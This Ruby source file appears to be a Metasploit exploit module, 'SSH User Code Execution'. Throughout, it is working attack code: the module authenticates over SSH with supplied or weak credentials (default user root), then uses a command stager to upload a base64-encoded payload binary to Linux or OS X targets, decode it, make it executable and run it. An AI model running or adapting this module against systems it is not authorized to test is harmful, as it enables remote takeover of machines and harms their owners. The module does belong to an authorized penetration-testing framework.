128 lines
3.0 KiB
Ruby
128 lines
3.0 KiB
Ruby
|
|
require 'msf/core'
|
|
require 'net/ssh'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ManualRanking
|
|
|
|
include Msf::Exploit::CmdStagerBourne
|
|
|
|
attr_accessor :ssh_socket
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'SSH User Code Execution',
|
|
'Version' => '',
|
|
'Description' => %q{
|
|
This module utilizes a stager to upload a base64 encoded
|
|
binary which is then decoded, chmod'ed and executed from
|
|
the command shell.
|
|
},
|
|
'Author' => ['Spencer McIntyre', 'Brandon Knight'],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '1999-0502'] # Weak password
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Privileged' => true,
|
|
'DefaultOptions' =>
|
|
{
|
|
'PrependFork' => 'true',
|
|
'EXITFUNC' => 'process'
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 4096,
|
|
'BadChars' => "",
|
|
'DisableNops' => true
|
|
},
|
|
'Platform' => [ 'osx', 'linux' ],
|
|
'Targets' =>
|
|
[
|
|
[ 'Linux x86',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'linux'
|
|
},
|
|
],
|
|
[ 'Linux x64',
|
|
{
|
|
'Arch' => ARCH_X86_64,
|
|
'Platform' => 'linux'
|
|
},
|
|
],
|
|
[ 'OSX x86',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'osx'
|
|
},
|
|
],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
# For the CVE
|
|
'DisclosureDate' => 'Jan 01 1999'
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('USERNAME', [ true, "The user to authenticate as.", 'root' ]),
|
|
OptString.new('PASSWORD', [ true, "The password to authenticate with.", '' ]),
|
|
OptString.new('RHOST', [ true, "The target address" ]),
|
|
Opt::RPORT(22)
|
|
], self.class
|
|
)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false])
|
|
]
|
|
)
|
|
end
|
|
|
|
def execute_command(cmd, opts)
|
|
begin
|
|
Timeout.timeout(3) do
|
|
self.ssh_socket.exec!(cmd)
|
|
end
|
|
rescue ::Exception
|
|
end
|
|
end
|
|
|
|
def do_login(ip, user, pass, port)
|
|
opt_hash = {
|
|
:auth_methods => ['password', 'keyboard-interactive'],
|
|
:msframework => framework,
|
|
:msfmodule => self,
|
|
:port => port,
|
|
:disable_agent => true,
|
|
:password => pass
|
|
}
|
|
|
|
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
|
|
|
begin
|
|
self.ssh_socket = Net::SSH.start(ip, user, opt_hash)
|
|
rescue Rex::ConnectionError, Rex::AddressInUse
|
|
fail_with(Exploit::Failure::Unreachable, 'Disconnected during negotiation')
|
|
rescue Net::SSH::Disconnect, ::EOFError
|
|
fail_with(Exploit::Failure::Disconnected, 'Timed out during negotiation')
|
|
rescue Net::SSH::AuthenticationFailed
|
|
fail_with(Exploit::Failure::NoAccess, 'Failed authentication')
|
|
rescue Net::SSH::Exception => e
|
|
fail_with(Exploit::Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
|
|
end
|
|
|
|
if not self.ssh_socket
|
|
fail_with(Exploit::Failure::Unknown)
|
|
end
|
|
return
|
|
end
|
|
|
|
def exploit
|
|
do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])
|
|
|
|
print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending Bourne stager...")
|
|
execute_cmdstager({:linemax => 500})
|
|
end
|
|
end
|